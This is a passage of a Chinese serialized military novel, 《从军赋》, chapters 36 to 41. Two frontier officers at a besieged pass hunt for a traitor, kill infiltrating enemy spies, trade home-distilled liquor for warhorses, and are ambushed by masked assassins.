《从军赋》
第36章大军压境
夜幕降临,云阳关外火光连天,映红了半边天。
四千西羌大军就在城外十里处扎营,军帐星罗棋布、灯火宛如长龙、游骑四处游弋,一片肃杀之景。
中军帅帐,一名壮硕的中年男子负手而立,凝视地图,脸颊右侧有一条刀疤,在烛火的映衬下有些可怖。
完颜昌,凶名赫赫的西羌悍将,曾经两次攻入云阳关,率兵袭扰云阳关腹地,前两任云阳关主将都死在他手里。脸上的刀疤据说是第一次攻入云阳关时被一名小卒砍伤的,从那以后他破城一次就屠城一次,发泄心中的愤怒。
云阳关百姓对这个名字畏之如虎。
帐中偏将恭恭敬敬地问道:
“将军,大军已经扎营完毕,各种攻城器械、军粮物资尽数运抵前线,我们还封锁了云阳关西面的所有出路,确保敌军无法外出探营。
据情报显示,短期内也不会有援兵抵达云阳关。
明日是否开始攻城?”
“攻城?为什么要攻城?”
完颜昌微微一笑:
“既然没有援军,那便是孤城一座,围上一两个月也无所谓。再说了,咱们不是还有内应吗,云阳关的城门早晚会自己打开的。
草原儿郎弓马娴熟,都是一等一的勇士,不该白白消耗在攻城战中。”
“呵呵,这都仰仗于将军的威名啊。”
帐中偏将笑着拍起马屁:
“咱们的大军还没到,乾军将领的投降信就送了过来,这仗打得也太轻松了些。”
“都是些鼠辈罢了,怎敢抗衡我大羌天兵。”
完颜昌冷笑一声:
“等这次攻破云阳关,咱们得好好劫掠一番,告诉将士们,半月不歇刀!”
“谢将军!”
众将一片亢奋,所谓不歇刀的意思就是没有军令约束,奸淫掳掠、杀人抢劫,尽兴而为!
“还有一件事,今日在城头射杀赖儿花的是不是叫洛羽,这个名字很耳熟啊。”
完颜昌眉头微皱:
“前几日有两个百户队在鸡鸣寨、黑沟寨全军覆没,好像也是此人干的?”
城头那两箭太准了,完颜昌当场也愣了一下,所以对这个名字格外注意,在他看来这是对大羌军威的挑衅。
“咳咳,对。”
偏将尴尬地回道:
“咱们在此人手里损失了两百多号兄弟,还折了两个百夫长,据说他一个多月前刚刚入军,现在已经成了百户。”
“什么?入军才一个月的新兵蛋子?岂不是踩着我大羌将士的人头上位?难道你们现在连一个新兵都对付不了?”
呵斥声吓得几人一低脑袋,赶忙请罪:“请将军恕罪,下次末将必亲手斩杀此贼!”
“这小子有些古怪,还是小心为上。”
完颜昌目光微凝,冷声道:
“给城内送封信,找机会把此人除掉,别在这碍眼!”
“诺!”
……
“哇,大哥哥做的木刀好漂亮啊,阳儿好喜欢!”
“哇,刀柄上的花纹好好看,有太阳,有月亮,还有个字捏,大哥哥,这是什么字?”
还是街边卖羊肉泡馍的小摊,洛羽如约给阳儿做了一把木刀,刀柄的纹路就是仿照破晓的样式雕刻而成。
洛羽轻轻一指刀柄上的字迹:
“这个字读阳,是你的名字,向阳而生。”
七八岁的男孩,正是喜欢刀啊剑啊的年纪,抱着小木刀欢呼雀跃,兴奋不已,爷爷老李头在旁边红了眼,自从儿子战死之后他第一次看见孙子这么开心。
“看不出来啊,洛百户的手艺还挺精巧的。”
萧少游打趣道:“什么时候给我也弄一把?”
“要弄自己弄,别来找我!”
洛羽搞不懂萧少游什么时候开始爱和自己开玩笑了,还开上瘾了。
不过跟他在一起会轻松自在一些,就像有一种前世战友的感觉。
“有一说一,前天你那两箭射得太好了,一是涨了军心士气;二是多要了五十人的军饷,可谓一箭双雕。”
萧少游翘起了二郎腿,手指轻扣桌面:
“眨眼间你就成了云阳关的名人,瞅瞅,这么多吃的,全都是沾了你的光。”
桌上不止有老李头送的两碗羊汤,还有隔壁张大妈送的小酱瓜、对门王三婶还送了自家酿的米酒……桌面摆得满满当当。
洛羽两箭成名,云阳关的百姓很朴实,你打退了外敌就是在保护我们,那我们就该谢谢你,这两天街巷中的老百姓看到洛羽就凑上来打招呼,热情些的好会送些吃食,弄得他很不好意思。
自己当时可没想着保护百姓啊,纯粹是为了跟孔贤多要几十人的军饷。
“吃吧吃吧,这么多东西还堵不住你的嘴。”
洛羽又白了他一眼:
“咱们还是聊正事吧,内奸的事查得怎么样了?”
“难,毫无头绪。”
萧少游脸色一沉:
“我已经对比过字迹,云阳关都尉以上的军官都对不上,所谓的密信一定是通敌之人找人代笔,查无可查。”
“那仅有的线索就断了啊。”
洛羽有条不紊地分析道:
“燕军兵临城下的时候我观察了一下三位主将的表情,孔将军力主出战,还死了不少人,他可以排除。
李承啸与君毅的反应差不多,看不出什么异常。但是前几天李承啸来找我的时候无意间提起过瓦力格。”
“瓦力格?就是从他身上搜出的密信?”
萧少游的眼神陡然一寒:
“李承啸无缘无故怎么会提到瓦力格,该不会是在试探你吧?”
“暂时不确定,有可能是随口一说,也有可能是想看看我有没有发现密信。”
洛羽目光紧凝:
“至少从目前来看,他的嫌疑更大一些。”
“光凭这一点,咱们也不能给他定罪啊。”
萧少游眉头紧凝:
“按我的意思,查不出头绪的话只能汇报给孔将军了,至少城中守军该早做准备,防止新年之夜羌兵偷袭,光靠我们两人麾下的兵马可成不了事。”
“嗯,同意。”
洛羽微微点头,随即目光就飘向了街面,眉头瞬间皱起。
“怎么了?”
“你看那儿。”
街上恰好有一群男子路过,个个衣衫褴褛,可奇怪的是这些人个个身强体壮,而不像别的难民一样瘦骨嶙峋。
“好奇怪的一伙人。”
萧少游冷笑道:
“别的难民眼中都带着惶恐不安、麻木茫然,你看他们,个个眼神坚定,还时不时四处张望,就像是做贼一般。”
四目相对,两人的嘴里同时吐出几个字:
“羌人细作!”
“老李头。”
萧少游嘴角微翘:
“麻烦你去趟军营,帮我们传个口信。”
第37章羌兵细作
洛羽和萧少游远远跟着那伙人七拐八绕,穿过一片破败的街巷,四周的房屋早已荒废,墙壁上爬满了藤蔓,眼睁睁看着他们钻进了几间民房内。
进屋前他们还鬼鬼祟祟地看了一眼四周有无百姓出没,就差把有鬼两个字写在脸上了。
“看着就不像是好人。”
萧少游冷笑道:
“这片民宅荒废很久了,平日里根本无人会来,他们倒是轻车熟路的摸了进来,看样子藏在这里的时间不短。”
“等着吧。”
洛羽手掌一番,匕首破晓便跃然映入眼帘:“瓮中之鳖,被咱们盯上了就没他跑路的地方。”
没一会儿就有大批士卒悄无声息地涌入街巷,足有三四十号人,将民房围得水泄不通。
“头,我来了!”
领头的叫庞飞,萧少游手下的副百户,也是一员得力干将,洛羽见过他好几次。
“这屋子里约莫藏了十来名羌人细作,待会儿咱们就杀进去……”
萧少游大概讲了一下情况,庞飞恶狠狠地抽出弯刀:
“头就放心吧,十几名羌兵而已,难道还能翻了天?”
“记住,留个活口。”
洛羽出言提醒道:
“对咱们有用!”
“好!”
“动手吧!”
随着萧少游手掌轻挥,二十多号军汉目光狠厉地站起身,剩下的人守住街口,确保没有任何一名漏网之鱼。
庞飞拎着刀一脚就踹开屋门,当先冲了进去,很快嘈杂的吼声便回荡全场。
“你们是什么人!”
“妈的,是乾军,跟他们拼了!”
“果然是羌贼,给我杀!”
几十号人在几间民房内大打出手,嘶吼激烈,好在这里地处偏僻,没引起旁人的注意。不然羌兵入城的消息传出,恐怕得引发骚乱。
洛羽两人也走进院子,里面打成一团乱麻,刚踏进院门就感觉到侧面有一股寒风袭来,一名羌兵张牙舞爪地扑了过来。
“找死!”
洛羽脚步一错,躲开了锋利的弯刀,同时右手狠狠往前一顶,破晓不偏不倚刚好插入羌兵的咽喉,一道血箭飚射而出,一击毙命。
“嚯,好身手。”
萧少游竖起了大拇指:“怪不得能连打两场胜仗,你这一身功夫是怎么练出来的?”
“别贫了,小心!”
洛羽一声冷喝,因为他看到有一名羌兵从背后偷袭,刀锋直指萧少游的后背。
“哼!”
“几个阿猫阿狗罢了,也想杀我?”
萧少游虽然赤手空拳,但却半点不慌,一记铁拳正中羌兵面门,牙齿碎裂、一口鲜血喷涌而出。不等他倒地,萧少游顺势接住弯刀,反手一刀就把他给捅死了。
别看他外表文绉绉的,像是个读书人,真动起手来可不比洛羽手软。
接下来的战斗压根不用两人动手,萧少游麾下的人确实能打,片刻的功夫就把羌兵细作杀了个干干净净,只剩一个活口苟延残喘。
“这就是领头的了。”
庞飞喘着粗气,揪着一名俘虏扔在地上,刚刚一场激战他砍翻了两名羌兵,刀锋在不断滴血,杀气毕露。
“乾军小儿,有种咱们在战场上真刀真枪干一场,以多欺少算什么本事!”
细作头目很不服气,怒骂出声:
“你们这群鼠辈!整日就知道龟缩在云阳关内!”
“哼,一群细作也有脸跟我提光明正大?”
萧少游目光如炬,冷喝道:
“说,你们是怎么混进城的,一共来了多少人!这个住处又是谁帮你们安排的!”
“呸!”
羌兵恶狠狠地吐了口唾沫,梗着脖子:
“老子一个字都不会说,直接杀了我吧。”
“倒是挺硬气。”
萧少游讥讽道:
“我抓过不少羌兵的俘虏,一开始嘴都挺硬,可等他们受过酷刑,知道什么叫生不如死之后一个比一个老实,我劝你不要自讨苦吃!”
赤裸裸的威胁与恐吓。
羌兵总算闭上了嘴巴,目光中闪过一抹畏惧。
“怎么样,现在能说了吗?”
萧少游迈前一步,冷笑道:“只要你老实回答问题,我说不定能放你活着回草原。”
“说个屁!”
本以为羌兵会老老实实地交代,哪曾想这家伙竟然奋不顾身地往侧面一撞,摁住他的庞飞猝不及防,被一头顶飞好几步,细作趁势而逃,眨眼间就窜出了几步远,眼瞅着就要翻墙而逃。
“妈的,该死的羌贼!”
“别让他跑了!”
庞飞气得满脸通红,一个健步就冲了过去,手中弯刀趁势挥出:
“站住!”
“不要!”
洛羽惊呼出声:“留个活口!”
“噗嗤!”
话音未落,刀锋就狠狠捅进了羌兵的后背,当场毙命。望着血流不止的尸体,萧少游与洛羽的脸色有些难看。
庞飞好像知道自己做错了事,不知所措地站在萧少游身边:
“头,是,是我莽撞了,我担心他跑了……”
“罢了。”
萧少游苦笑一声:
“死了就死了吧,又救不活。你带着人收拾一下现场,尸体都拖走,别吓到老百姓。记住,此事要保密,决不能走漏风声!”
“诺!”
萧少游也知道庞飞是无奈之举,杀了总比逃了要好。
“好像线索又断了啊。”
萧少游无奈地说道:“本以为抓住个活口能问出点什么,没想到功亏一篑。”
“也不算完全没收获。”
洛羽收起了破晓,冷声道:
“就像你说的,这片民宅早已荒芜,寻常百姓罕至,可这群细作却轻车熟路的找到这里,肯定是有人帮他们安排的。
说明什么?说明城中有人通敌,而且身居高位。”
“没错。”
萧少游的目光冷了起来:
“这些天难民入城守军都会认真盘问,就他们这样子想躲过守军的检查难如登天,更何况还携带军械入城,必有人接应!
可此人是谁呢?”
两人对视了一眼,他们有一种预感,这伙羌兵细作一定就是通敌的那个人放进来的。
“罢了,还是将此事通报孔将军吧。”
萧少游犹豫许久才说道:
“出现羌兵细作可是大事,不能不报,咱们顺便将通敌一事告诉将军,一起想想应对之策。”
“只能如此了,而且我总有一种感觉,藏在城内的细作绝不止这一队人。”
望着地上的死尸,洛羽抬起头来:
“事不宜迟,咱们现在就去!”
第38章我要战马
“你们杀了一批羌兵细作?敌军压境、兵临城下,满城戒严,竟然还能有细作潜入城中?
简直是滑天下之大稽!城门口的守卒都是干什么吃的!”
听闻消息的孔贤满脸阴沉,愤怒地拍着桌子:
“搜,立刻给我派人去搜,看看城内到底还藏着多少羌兵细作,逮住一个就给我杀一个。
一个不留!”
骂声不绝,唾沫横飞。
这位孔将军确实有保境安民之心,就是性格急躁了些,再加上洛羽最近对他的观察,很认同萧少游的看法,此人能力确实一般。
“请将军息怒,卑职以为不妥!”
萧少游很了解孔贤的性子,赶忙劝谏:
“城中百姓对羌兵二字畏之如虎,如果让他们知道有羌兵细作潜入城中必定会引起骚乱,岂不是自乱阵脚?
属下已经命人严密封锁消息,追查羌人细作的事只能在暗中进行,也可防止打草惊蛇。”
“也对。”
孔贤总算冷静了一些:
“还是你考虑得周到,就按你说的办。”
萧少游的表情越发凝重:
“将军,卑职还有更重要的事情禀报,关乎云阳关安危!”
“噢?”
孔贤的眉头紧皱:“这么严重?何事?”
洛羽往前迈了一步,递出一封密信:
“黑沟寨一战,卑职在羌兵百户瓦力格的身上搜出一封密信,写信之人应该是城内某位将军,他与羌兵约定,欲在新年之夜开城献降!”
“什么!”
孔贤脸色陡变,豁然起身,疾步走到洛羽面前夺过密信、匆匆扫视,越看眉头皱得越紧,但最后已经气得满脸铁青:
“是谁,到底是谁!
大敌当前不思保家卫国,竟然要通敌叛变,简直罪无可恕!这些年来边关战事屡战屡败,就是因为这些贪生怕死的败类、叛徒!
他们的眼里可曾有过边关百姓,可曾有过家国江山!”
骂了好一会儿孔贤才停了下来,紧握密信:
“这件事除了你们两还有谁知道?”
洛羽沉声答道:
“事关重大,卑职二人不敢轻易走漏风声,并无他人知晓。”
“很好,考虑得很细致,本将果然没有看错人。”
孔贤眉头紧皱,来回踱步:
“可光凭这么一封毫无头绪的书信咱们也无法确定叛徒是谁,你们二人有没有线索?”
“暂无线索,只能推测此人军职不低,要想打开城门、与羌兵里应外合,手中定有兵权!”
萧少游与洛羽对视了一眼,并未直接点出怀疑的对象是君毅或者李承啸,没有确凿的证据之前,他们可不能说这种话。
“麻烦了啊。”
孔贤满脸愁容:“距离新年之夜只剩半个月,若是揪不出叛徒,云阳关危矣!
你们两脑子转得快,可有良策?”
萧少游抱拳道:“在没有揪出叛徒之前,咱们只能先做好最坏的打算,警戒全城,同时要控制四面城防。
西门、东门都是将军麾下兵马看守,定然万无一失,但南门、北门乃君家、李家防守,恐怕会出纰漏,当安排亲信兵马驻扎于两门附近,密切监视,以防万一。”
“好!此事本将军来办。”
孔贤当场点头同意:
“那这个叛徒呢,就不查了?”
“卑职觉得不用查,他或许会自己跳出来。”
洛羽一句话让孔贤十分不解:“自己跳出来?这个叛徒有这么蠢?”
洛羽冷笑一声:
“将军请看,写信之人在信中提过,要在开城献降之前找个办法杀了城中其他将领,尽可能掌握城内兵权。
城中这么多领兵军官,他想一网打尽必须要促成一个大部分人同时在一起的局面。
这个局面一旦出现,那主持此事的人必定最可疑!
咱们只需要按兵不动,静观其变即可。”
“有道理啊!”
孔贤目光一亮,振奋了许多:
“你二人虽然年纪轻轻,但思维敏捷,是可造之材!好好干,本将定会重用你们。
这次暗查叛徒的任务就交给你们了,一有情况速来汇报!
云阳关五千守军、上万百姓的安危压在咱们肩,万不可出半点纰漏!”
“卑职领命!”
……
离开将军府,萧少游和洛羽总算松了口气,有了孔贤的支持,心里也有底气。
两人有一句每一句的闲聊,洛羽突然问道:
“问你个事,为什么别的百户手底下大部分都是步卒,少有战马,而你麾下一百人却是清一色的骑兵?
难道孔将军对你这么好,配足了战马?”
“怎么可能,这些战马都是我凭军功挣来的!”
提到这个萧少游就满脸骄傲:
“每次打了胜仗我都不要赏银,只要战马,一点点积攒,攒了两三年才有一百多匹马。
我容易吗我。”
“原来如此。”
“怎么,你也想要吗?”
“想啊,当然想!”
洛羽盯着萧少游,嘴角莫名勾起一抹阴险:
“你之前不是想拉拢我做你的下属吗?这样,你现在给我一百匹战马,以后我就跟你干。”
那天城头观战,当四千羌骑出现的那一刻洛羽就明白了骑兵的重要性,在绝对的实力面前,任何计谋都无足轻重。
“我呸!给了你我用什么?”
萧少游如何看不出洛羽的小心思,冷笑一声:
“战马在城内可是稀罕物,打死我也不给你。还当我下属,我信你个鬼!”
“那你告诉我怎么才能弄到战马,不然我只能去你营中抢了。”
“你这家伙,耍无赖吗不是。”
萧少游一阵气急,突然想到了什么:
“你还别说,真有。
几天前将军府分了二十匹战马到韩都尉手里,他还没有决定分给哪个百户队,你倒是可以试试能不能要过来。”
“韩都尉有马?太好了!我这就去!”
“哎哎,你就这么空手去?”
萧少游一把拉住了他,很是鄙夷:“你这么去不仅要不到马,还得被骂一顿。”
洛羽这才反应过来,韩朔这位都尉不坏,可想要平白无故从他手里要钱要人要马难如登天,上次他可是说了一句:
这里是军营,不是菜市场,想要东西得拿军功去换!
“不好弄啊。”
洛羽眉宇紧凝:“羌兵又没攻城,哪来的战功去跟他换战马?”
“死脑筋,难道你就只会打仗?”
萧少游点拨了一句:
“你可以投其所好,送礼啊,把上司哄开心了,马不就是你的?”
“送礼?”
洛羽目光一亮:
“韩都尉收礼?只要他收,此事就好办!他喜欢什么,银子?”
“咦,这么干脆?”
萧少游神色古怪:“我以为你清高得很呢,不屑于这一套。”
“清高?清高有个屁用,丢进臭水沟的玩意,能换粮食还是能换吃的?”
洛羽冷笑一声:
“边军早就烂到骨子里了,难道我一人清高就行了?”
无官不贪!亘古不变。
“看得挺透彻。”
萧少游笑道:
“但送银子你就别想了,就你那点俸禄都尉看不上的,不过我可以告诉你,韩都尉是个酒蒙子,如果你能弄来几坛好酒……”
“酒蒙子?”
洛羽若有所思地抬起头:
“好办!”
第39章我来酿酒
洛羽一回营就躲在帐篷里足不出户,只是不停地让人往营房里送东西,一会锅、一会缸,整整折腾了两天。
等董川、蒙虎、还有沈漓走进军帐的时候全都被眼前的景象惊呆了,一个他们从未见过的古怪物件戳在那儿。
此物底下是个灶台,架着一口大锅,上面还有一口倒扣的锅,像是个串起来的糖葫芦,边上伸出一根细细长长的竹管,连着一口大缸。
“这,这是个什么东西。”
董川愕然不解:“头,你不是说要弄几瓶好酒送给韩都尉吗,怎么捣鼓了这么个东西。”
“哎啊,董大哥你什么眼力,这分明就是口锅嘛。”
蒙虎兴奋地搓着手:“俗话说好酒配好菜,头肯定是炖了一锅好菜,要连着酒一起送给韩都尉。
羽哥,要不我先尝尝?万一不好吃岂不是白瞎了?”
蒙虎贱兮兮地凑上去,一把掀开锅盖,却发现里面空无一物,当场就傻眼了:
“咋是空的,谁偷吃了!”
“就知道吃吃吃!我这是在做正事!”
洛羽瞪了他一眼:
“不过蒙虎说对了,这确实是一口锅,我给他起名叫蒸酒锅,可以酿出绝世好酒!”
“用这个酿酒?”
沈漓十分好奇,绕着蒸酒锅左看右看:
“骗人的吧你,我可是酿过米酒的。酿酒要用的粮食呢,酒曲呢?什么都没有你拿什么酿酒?”
“这就是蒸酒锅神奇的地方,它什么都不需要,只需要将酿好的米酒、黄酒进行更深一步的提纯、蒸馏、过滤即可!”
“提纯?蒸馏?过滤?羽哥,你到底在说什么?”
一连串陌生的词汇让三人懵逼,看向洛羽的眼神变得古怪起来,怎么感觉他酒还没酿,人已经喝醉了。
“咱们只需要将买来的米酒倒入这口锅中蒸煮,就会生成酒蒸汽,酒蒸汽升到半空中遇到倒扣的铜锅会液化,重新变成酒水……
经过蒸馏提纯的酒水顺着竹管流入酒缸,那咱们酿的酒就算是成了,肯定比市面上卖的酒要好喝得多!”
洛羽洋洋洒洒地解释了一大圈,他尝过大乾国的酒,就是最原始的酿酒术,度数很低,远不如蒸酒器提纯之后的酒好喝。
现在时间紧张,他没空去用粮食重新酿酒、发酵、蒸馏,直接买来现成的米酒加工一下便好。
若不是萧少游提到韩朔好酒,他压根想不起来自己还会这门手艺,蒸馏器的制作工艺并不算太难,只不过这个时代的人们还不知道这个法子。
蒸馏酒拿出去,一定馋得韩硕流哈喇子!
众人越听越懵,根本不知道洛羽在说什么,反正不相信这玩意能酿出好酒。
“行了,你们也用不着懂。”
洛羽摆摆手看向沈漓:
“接下来酿酒的事就交给你了,你要做的很简单,把买来的米酒倒入锅中蒸煮,再等着它流入酒缸就行,不停地倒酒蒸煮,再收集提纯后的酒。”
“就这么简单?”
“就这么简单!”
洛羽大手一挥:
“你们就瞧好吧,董大哥、蒙虎,咱们走,去看看练兵的情况!噢对了,这个酿酒的法子要绝对保密,谁敢说出去,休怪我手里的刀不讲情面!”
“明白!”
望着大摇大摆离去的洛羽,沈漓嘟着小嘴:
“我倒要看看你能酿出个什么东西!”
……
“一,二,三!”
“杀,杀,杀!”
并不算宽敞的营地内站满了人,洛羽手下一百三十号兄弟全被分成了三人一组,天天练习配合和刀法,怒斥声不绝于耳。
这些天操练的事基本上都交给董川、蒙虎两位标长负责,成效不错,场中吼声震天。
士气高的原因很简单,洛羽把为数不多的赏银全拿了出来给兄弟们买肉吃,几乎每两天就能吃上一顿肉,而且发下来的军粮他也不会克扣,不敢说让他们顿顿吃饱,但绝对不会饿着肚子上战场。
放眼整座云阳关,有哪个百户能对手下士卒这么好?
“头的方法就是好啊,现在三人一组的配合磨炼得相当不错,等上了战场多少能和羌贼缠斗一番,呵呵。”
董川笑呵呵的,但凡是参加过黑沟寨一战的人就明白三三制的实用性,相当于是集中三人的力量去对付一名敌军,只要攻守得当几乎可以做到毫发无伤。
“练得是不错,配合也有模有样。”
洛羽眉头微皱:
“但我总觉得少了点什么。”
“少了点什么?”
董川与蒙虎有些疑惑,不解其意。
“杀气,少了杀气!”
洛羽径直走向校场,高喝道:
“停,全都给我停下!”
听到喝声,大家都停下了手中的动作,茫然地看向洛羽,练得好好的怎么停了?
洛羽朗声喝道:
“这两天兄弟们都辛苦了,我看你们的刀法都有了进步,现在我要给你们上上强度!
从现在开始,三人一组,三组一什,每一组、每一什之间都要互相打斗,不要用刀,换成木棍和盾牌。
都给我记住,我不是让你们练假把式,而是要使出浑身的力道打败对面,一直打到对方全都趴下为止,要么打头、要么捅下三路,战场上怎么杀敌你现在就怎么练,谁都不能手软!”
将士们目光微变,听起来有点狠啊。
“头,这么练妥当吗?”
董川犹犹豫豫地问道:
“大家下手都没个轻重,万一打伤人怎么办?”
这也是大家想说的,他们又不是武林高手能做到点到为止,木棍随便一招呼指不定就能打断同袍一根肋骨。
“怕什么!”
洛羽面色凶悍,冷声喝道:
“如果现在连木棍都不敢挨,等上了战场怎么面对羌兵的战马弯刀?
打断一两根肋骨算什么,总比在战场上丢了命要好!别忘了,城外有四千羌骑,凭你们在这喊两声就想击败羌贼?
做梦!
等羌兵杀入城中,难道咱们还要跪地求饶吗!”
一声做梦让所有人的都心头一紧,这些天羌兵没有攻城,他们渐渐不把羌兵当回事了。
“都给我记住!”
洛羽怒喝道:
“这里是战场,不玩命,谁都别想活,如果是怕死的孬种,现在就给我滚蛋!留在这是害人害己!
都给我玩命的练,哪一什站到最后,今晚加餐,哪一什最先趴下,都给我饿肚子!有本事你们就把蒙虎这个大块头给我打趴下,让他没饭吃!
弱者,没有资格吃饭!”
都是有血性的汉子,哪经得起这么骂,几句话一吼所有人都面红耳赤,跃跃欲试。
从奴庭而来的吕青云第一个拎起棍子吼道:
“蒙大哥,来,咱们过过招!今晚你就别想吃饭了!”
“哈哈,好小子,有种!”
蒙虎撩起袖子大笑一声:“今天指定要给你撂个大马趴!”
“兄弟们,给我打!”
“上啊!”
眨眼间校场中就乱成一团,所有人都扑了上去,三人一组捉对厮杀。
洛羽的脸上出现了一抹笑容:
“这才像样嘛!”
第40章你敢坑我
一天一夜的时间,沈漓已经酿出了两大坛酒,准确的说是蒸出了两坛酒。
一开始她满腹狐疑,以为洛羽在诓她,可等酒香弥漫的那一刻她就知道自己错了,酿过酒的她明白,此酒品质绝对上乘!
而洛羽已经带着两坛酒来到了韩朔的住处,信心满满,今天他一定要将二十匹战马带回去。
“你今天怎么有空到我这来了?”
韩朔好奇道:
“手下招了那么多新兵,你不是应该留在营中练兵吗?”
“属下今天找都尉是有要事商议。”
洛羽主动凑上前去给韩朔倒茶:
“头,羌兵士卒皆出身草原,精通骑射,咱们若想在战场上和羌兵正面交锋,骑兵是必不可少的,光靠步卒,仗太难打了。”
韩朔的嘴角勾起一抹玩味:
“说下去。”
“属下操练骑兵颇有心得,这些天已经在训练所有人的骑术,手下的兄弟也敢打敢拼,杀过不少羌贼。
卑职有决心组建一支精锐骑军,杀敌建功,只是苦于没有战马啊。”
洛羽面露难色,搓了搓手:
“听说将军府刚给都尉您分了二十匹战马?”
“呵呵,我听明白了,感情你是冲着战马来的?”
韩朔脸色的笑意越发浓郁:
“我就说嘛,平日里一向不苟言笑的洛百户怎么今天学会端茶倒水了,合着是有求于我。
不过本都尉手下好几位百户,谁不懂点骑术?谁不想组建骑兵?光凭你一番冠冕堂皇的说辞就想要走二十匹战马,有些异想天开了吧?
我记得跟你说过,这里是战场,军粮军饷战马都是头等重要的物资,想要就得靠功劳来换。”
“请都尉放心,这些战马交给我一定能物尽其用!”
洛羽拍着胸口:
“卑职可以向都尉立军令状,下次开战,我拿下的军功一定比别人要高!”
“洛百户的本事我还是相信的。”
韩朔慢悠悠地翘起了二郎腿,抿了口茶:
“可那是以后,没影的事。现在我无缘无故把二十匹战马都给你,其他人会说本都尉厚此薄彼,难免惹人非议。
所以,洛百户请回吧。”
韩朔的表情丝毫没有松口的意思,甚至将头扭到了一边。
洛羽也不顾面子,赶忙凑到另一边:
“都尉您先别急嘛,听说你爱喝酒,今天卑职来给你带了两坛好酒。”
洛羽脸上堆满了笑容,内心却大骂自己无耻,什么时候这么谄媚过?为了战马,他也算是豁出去了。
韩朔漫不经心地瞄了一眼酒坛子,其实他早就看到了,冷冷地说道:
“怎么,光凭两坛酒就想讨好我?本都尉爱酒不假,可什么琼浆玉液顶得上二十匹战马?
我告诉你,本都尉从不收受贿赂!而且从昨天开始我就戒酒了……”
“啪!”
义正言辞的话还没说完,洛羽一把拍开了酒坛子,酒香四溢,韩朔瞬间就直了眼,鼻子嗅了又嗅。
他是个酒蒙子,是不是好酒一闻就知道,此乃上上只品!
洛羽佯装懊恼:
“哎啊,原来您不喜欢这一套,还戒了酒。是属下冒失了,请都尉恕罪!
卑职立刻让人把酒搬走,省得脏了都尉大人的眼!
来人!”
“哎哎!停!”
韩朔急忙扯住洛羽:
“咳咳,两大坛子酒也挺重的,搬来搬去多费事啊,先放着吧。”
话是对洛羽说的,眼珠子却盯着酒坛子,口水都快流下来了。
“也对,还是都尉大人体贴下属。”
洛羽直接搬起来倒满一杯:
“搬都搬来了,都尉您就尝尝,就当替卑职品鉴一下,这是我用家传秘法酿出来的酒。”
“你自己酿的?”
韩朔有些诧异,兴致勃勃地端起酒碗:
“成,那就尝尝!不过先说好,只是品鉴。”
“对,品鉴!”
酒水入喉,韩朔面庞一红,喉咙里火辣辣的,瞬间暖遍全身:
“嘶~”
“好烈的酒!”
韩朔无比震惊,头一次喝到这么烈的酒,紧随而来的便是浑身舒畅。
“这真是你自己酿的?”
“当然,都尉不信可以满城去找,若是找到同样的酒,卑职全买下来送您!”
洛羽意有所指地提了一嘴:
“换句话说,如果都尉大人您想喝,只能找我了。”
屋中安静了片刻,韩朔的眼珠子轱辘直转,他如何不明白洛羽的意思,想要喝酒,就得拿战马换。
“这样,给你五匹马。”
韩朔终究没忍住诱惑,竖起右手:“这两坛酒归我。”
“都尉,给都给了,二十匹战马全归我不行吗?”
洛羽也竖起了右手:“除了这两坛,我再送都尉五坛!”
“都给你也不是不行,我要五十坛酒!”
“都尉您杀了我吧,五十坛酒得酿到猴年马月?这样吧,咱么各退一步。
一坛酒一匹马!
我给您酿二十坛!”
“成交!”
两人就像街边商贩,来回砍价,最终定下了这笔生意。
“战马明天我就让人送过去。”
韩朔明显很开心:“可别忘了我的酒!”
“都尉大人就放心吧,哈哈!那卑职先行告退!”
洛羽乐呵呵地往外走,感觉自己占了天大的便宜,其实二十坛还是五十坛对他来说并无区别,反正是沈漓去酿,无非时间长短罢了。
刚走到门口,韩朔莫名其妙地来了一句:
“送酒的主意,是萧少游跟你说的吧?”
洛羽愣住了,一时间不知道该如何回答。
韩朔的嘴角勾起一抹轻笑:
“他应该没有告诉你,那二十匹战马我本来就打算给你的。”
……
“尼玛的萧少游,竟然敢坑我!害老子白折腾一场!”
“哈哈哈!”
萧少游笑得前仰后合:“谁让你小子平时那么聪明,能整你一次的机会可不多啊。”
“我看你是皮痒了!”
洛羽手掌一翻,破晓浮现:
“今天就让我领教一下萧百户的剑法!”
“哎哎,不就是开个玩笑嘛,你又没损失什么。”
萧少游连连摆手,大手一挥:
“走,羊汤,今天我请!”
“这还差不多,走!今天一定要吃穷你!”
大晚上的,天都黑了,两个人慢悠悠的行出军营朝老李头的小摊走去,不知不觉就走进了一段幽静无人的偏僻街巷,这是去喝羊汤的必经之路。
夜色漆黑,只有微弱的月光倾洒在墙壁上,略显幽森。
萧少游换了副认真的口吻:
“孔将军那边已经安排人手暗中监视各处城门了,如果有人动歪心思,第一时间就会被发现,咱们接下来要做的就是安心等待了。
可你真的确定叛徒会自己跳出来?”
“不管叛徒是谁,他都没可能控制全城守卒。”
洛羽冷笑道:
“若真想在万无一失的情况下打开城门,私通羌兵,最好的办法就是控制城中其他领兵武将,甚至各个都尉。
所以他大概率会找一个合适的契机动手,而这个契机必须所有人都凑在一起。
咱们只要耐心等着便好。”
“行吧,你有自信就听你的。”
“嗖!”
一阵急促的破风声陡然回荡在耳边,洛羽浑身的汗毛都竖了起来,猛地一把推开萧少游,两人同时倒向墙角。
短小的箭矢刚好从两人中间擦过,笔直没入泥地,露在外面的箭尾依旧在高速摆动。
僻静的街巷中多了一分寒意。
洛羽眼神冰寒,紧握匕首:
“何方宵小,滚出来!”
第41章神秘杀手
街巷中寂静无比,微弱的月光倾洒大地,让夜色多了一层朦胧的感觉。
洛羽手握短匕破晓,浑身肌肉紧绷,目光紧盯漆黑的小巷子,萧少游也按住了腰中剑柄,长剑蓄势待发。
“洛百户好快的反应啊,都说你身手过人,果然不假,呵呵。”
在一片讥笑声中,小巷前后各行出了十几道身影,二三十号人封死了前后道路。
神秘刺客全都黑衣蒙面,只露出一双阴狠的眼神。
洛羽二人心中咯噔一下,眼神无比凝重,光从他们的站位、配合就知道绝不是庸手,二三十号杀手对上他们两个人,危局啊。
“你们认识我?”
洛羽面不改色,眉头微挑:“谁派你们来的?”
“这可不能说噢。”
为首的男子轻笑一声:
“咱们就是想问问,洛百户在黑沟寨杀了羌人百户瓦力格,有没有找到点什么东西?”
“瓦力格?他身上能有什么东西?你们在说什么?”
洛羽露出一抹疑惑,实在已经明白了一切,看来是背后那个叛徒对自己出手了。
“不知道?你是不知道还是在装模作样?这么点小把戏可瞒不过老子。”
洛羽讥讽道:
“真不知道,或者你们说说到底是什么东西,看我能不能记起来。”
“牙尖嘴利的小子。”
